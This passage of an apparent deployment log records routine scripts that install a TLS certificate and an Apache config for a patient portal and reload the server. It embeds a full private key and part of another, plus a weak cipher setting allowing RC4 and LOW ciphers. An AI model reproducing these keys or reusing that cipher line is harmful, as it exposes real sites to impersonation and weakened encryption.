6ke1ziMxUtZCXK1PdlfwFuE50KPbr4lIhugEYbVTnEZuqeQdGc6hkTu8GSTiRVRt
SYJYeMiM7GB93sGP+nyuUD6YotBfFz/2eTf/jrbVAoGADpWTblSZy7AqZDcV5iCQ
kzBXZAC9X3wt3GNbxdaa+anBdQKOsn/A6EfwVtquu0dcHZYHqclAz68+WgYXBaOx
+lO2ZOrQtJwHZxbAVKYgGbsNKiI5EPlvKMPaQ8msnj3z/hnMrB9thZjx+1TvibrA
wZ4b1I6LkaMvDKBPZhQpDhM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-08 06:00:32: Establishing a connection
2025-09-08 06:00:32: Establishing a connection
2025-09-08 06:00:32: 

PUT: /tmp/pkp119230

#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-08 06:00:32: 

chmod 755 /tmp/pkp119230; /tmp/pkp119230; rm /tmp/pkp119230

2025-09-08 06:00:32: 


0


2025-09-08 06:00:58: Establishing a connection
2025-09-08 06:00:58: 

PUT: /tmp/pkp615610

#!/bin/bash
temp_file=$(mktemp)
TARGET=01414147ca2e2039609db8973ea8b269.crt

cat > $temp_file <<'endmsg'
6c:66:1f:b9:d2:f5:04:1c:34:54:fc:a5:d8:7a:e5:f1

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBvN2MGmu9U6Gzrg40MApIYr5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTA4MDUwMjI3WhcNMjUxMjA3MDUwMjI2WjAhMR8wHQYDVQQD
ExZwb3J0YWwucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEA7K+ewA1jBfEAUKrtaJ9SL8qyRwaffWrG02W4ht2K6tAKmcLLgftU
2M5J6ix6NOGVfFMFU3TVTfGbQEE5x62+DXJPInv8dFnJGwpOwqHy9Nsz4V4ez+rF
FDc/vfIiePu3YUrW4TZjFYnHJNALdEEjqwQ46x4tLuHwoSaXb2yzzCGlSqIc+CZ5
Os399QWJhAGCEsGcGIPMm5c79VyFdaluNQk5tgmpq+LC0IHk1Kb24bOts52vDF0q
MjKe+AGePI8GCLUM/JojbwJ1i6m/oOAFNaGT9hr1aHJjFK8OBvwTC1Xu4aYJSdJQ
ybpCMX/X0LCcSRmTaKqnrg95XxP3VSHeDwIDAQABo4ICPDCCAjgwDgYDVR0PAQH/
BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8E
AjAAMB0GA1UdDgQWBBRVbS66t2W3x1k6qc9uWBq4VcYTEDAfBgNVHSMEGDAWgBTn
q58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKG
F2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMDcGA1UdEQQwMC6CFGxpdmUucGF0aWVu
dGFwcHMubmV0ghZwb3J0YWwucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
MTIyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2ABoE/0nQVB1Ar/agw7/x
2MRnL07s7iNAaJhrF0Au3Il9AAABmSfpzCQAAAQDAEcwRQIhAKeeiBB+EQmKFMDi
Y6FWGngYSsI9A1BpINInBwM2IH06AiA+GSnPxwqVAB5PITJ1PQdGmey1S2Mmq/rx
NloIpgqkwwB1AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmSfp
zC8AAAQDAEYwRAIgcLJqtSY9tFjmzp4o6GJrTbUG3cWkhfaR7YJx/0gVMXICIEmO
O17TAiTMhsKvsWSAaItxtmAVoF1ntpmNXPlm6GyDMA0GCSqGSIb3DQEBCwUAA4IB
AQBecJjWqpMG7M91vgp2CyxIghU9bKEvfOZKT7wtF/BgKj2xi6j0SfA2IQhsPFA7
Iwh9WRS3NtVlWdGl3tGn15c4v6igVI13KQpsfU4Nla+/ElIZj6e1/PtPDWwmlgYN
IQrsiRaorlxRo9Iu38rCfxz75pidNegodAOCqv0UXQ/QXzxQC+AVZ6Ti2BpB4Hbn
a8CMkwMtdrpUydQATRU1MFCtSynIolA/ubdbymKISzulcDz4aSYVVJxdaDT6Bpcv
VcOqVM0YV9nt0J1+uNOOXIkfVKzrkxTkSDmarnsJKZQ/ohIw6JdZCiWCvm5Uz06V
forOehYKuHJ7OcxiFNDz32w0
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDsr57ADWMF8QBQ
qu1on1IvyrJHBp99asbTZbiG3Yrq0AqZwsuB+1TYzknqLHo04ZV8UwVTdNVN8ZtA
QTnHrb4Nck8ie/x0WckbCk7CofL02zPhXh7P6sUUNz+98iJ4+7dhStbhNmMVicck
0At0QSOrBDjrHi0u4fChJpdvbLPMIaVKohz4Jnk6zf31BYmEAYISwZwYg8yblzv1
XIV1qW41CTm2Camr4sLQgeTUpvbhs62zna8MXSoyMp74AZ48jwYItQz8miNvAnWL
qb+g4AU1oZP2GvVocmMUrw4G/BMLVe7hpglJ0lDJukIxf9fQsJxJGZNoqqeuD3lf
E/dVId4PAgMBAAECggEBALOoMuYwwyN1ZfnVZNPva2EfiOdk3ZdDf5xjMAgfDh1i
wUkplXQapLLVE0IPdMvDF8cA9Z/9pRO++0twtz0cYpCuXecdGenvZTmDP3l5mIPI
B79fxB+qYuIPdfDmZMhUuUO+nRDiSZ/Fr0YALVGXSE29rL67byyRECgitPw9FNUy
lwETQoGnNbhOVtis+K7eZSGRogWwKvIj79rvkpg65e6NrqJ00qmRFmX+gbyE7z4U
pFc6ZE/TwtjfWposz9SVAd40OJ806HISfYwAct6yQzQnFhqHBp8+tzCmkAI/W1Te
6J3GX/zYqmUWMUxWfza03Vd3b9EZbEgQW0Lyb6i1OfECgYEA/Qz6e7tc/Y3U4XNp
cUFA2D20dwF7eh1+PqszOLdvZ0wrYVZpwsmfpFHNwLuUwF1hA0Hxe0tPJ7aSoh2h
y6rgxPm4Gp6gkVb9Gr4nCWP8msBCm2vJv424vVEutdoLF5b6fniyFKJK/kPhBHX4
D+Sn2r0GXT09k3p7zBIcKmJ4eysCgYEA73HQkx89Rkgjp1qyD9JoIRGLo6B245TR
hRJBr0MH10pBESfFa/tN+kf28xnz7Ip/toR+VPITlatr2YWkFLh/tcmTkfEN1oWu
LlZrKJwwZxSZ9wTfN6d2dQ21wgxRbFGMJRPE1r0eUwnqil285DWVHJdMx7CCXdXK
T9cKYAIq5q0CgYEA4+8E0N777AgNcOYcXD+CwUUTgP580oouZRSglr3kQw+BI7RK
n4Itoj1tL+XHH179O4nykjRLoGH7wrseOe45eDPXeWLZDxFj+uq9DuBZcKstVAHL
QBfQB/dQM82roBwGllTxU1S8aDuMPBBm2SoFaCpLyUCYbncte6v0Ytk/3PECgYAM
/B0VfWIzR4I3dyGk3gIrmOn7q54G5XEfSEgrmvT35dz1czSvkGdAJVrtAAFMWI5o
dXLsZFxPh4ZHu4mUXhT+5LmN9oaLlaBGfwU8pIuza1iWHruEJx6zZlTu+wAHYby5
3gKUqpjUY/tGGaM+tPErJcFSKu5G7GsWPVEgt71f2QKBgFYotPUc95ixSjCAmV6b
AUjyM1EpH2r+aVBcnkB50J21+rT67VNw4UZVQZ+iLD7HRy6DOd2+Pj/T44wqe7F7
gPnQObEws1VND8Jeu0gEcG2dVVbkIZFWUjqdE+bqDnPiK4xDoP51Cl4M/EbZiHcr
IO63NMeiYtbgbPihqsJp49oT
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-08 06:00:58: 

chmod 755 /tmp/pkp615610; /tmp/pkp615610; rm /tmp/pkp615610

2025-09-08 06:00:58: 


dir=/etc/ssl/certs


2025-09-08 06:00:58: 

PUT: /tmp/pkp602436

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_portal_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-08 06:00:58: 

chmod 755 /tmp/pkp602436; /tmp/pkp602436; rm /tmp/pkp602436

2025-09-08 06:00:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_portal_net.conf 46

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-08 06:00:58: 

PUT: /tmp/pkp697853

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_portal_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_portal_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	portal.patientapps.net
    ServerAlias	live.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01414147ca2e2039609db8973ea8b269.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/portal_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/portal_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_portal_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_portal_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_portal_net.conf= 1'
fi


2025-09-08 06:00:58: 

chmod 755 /tmp/pkp697853; /tmp/pkp697853; rm /tmp/pkp697853

2025-09-08 06:00:58: 




2025-09-08 06:00:58: 

PUT: /tmp/pkp311242

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-08 06:00:58: 

chmod 755 /tmp/pkp311242; /tmp/pkp311242; rm /tmp/pkp311242

2025-09-08 06:00:58: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-08 06:00:58: Establishing a connection
2025-09-08 06:00:58: 

PUT: /tmp/pkp908461

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-08 06:00:59: 

chmod 755 /tmp/pkp908461; /tmp/pkp908461; rm /tmp/pkp908461

2025-09-08 06:00:59: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
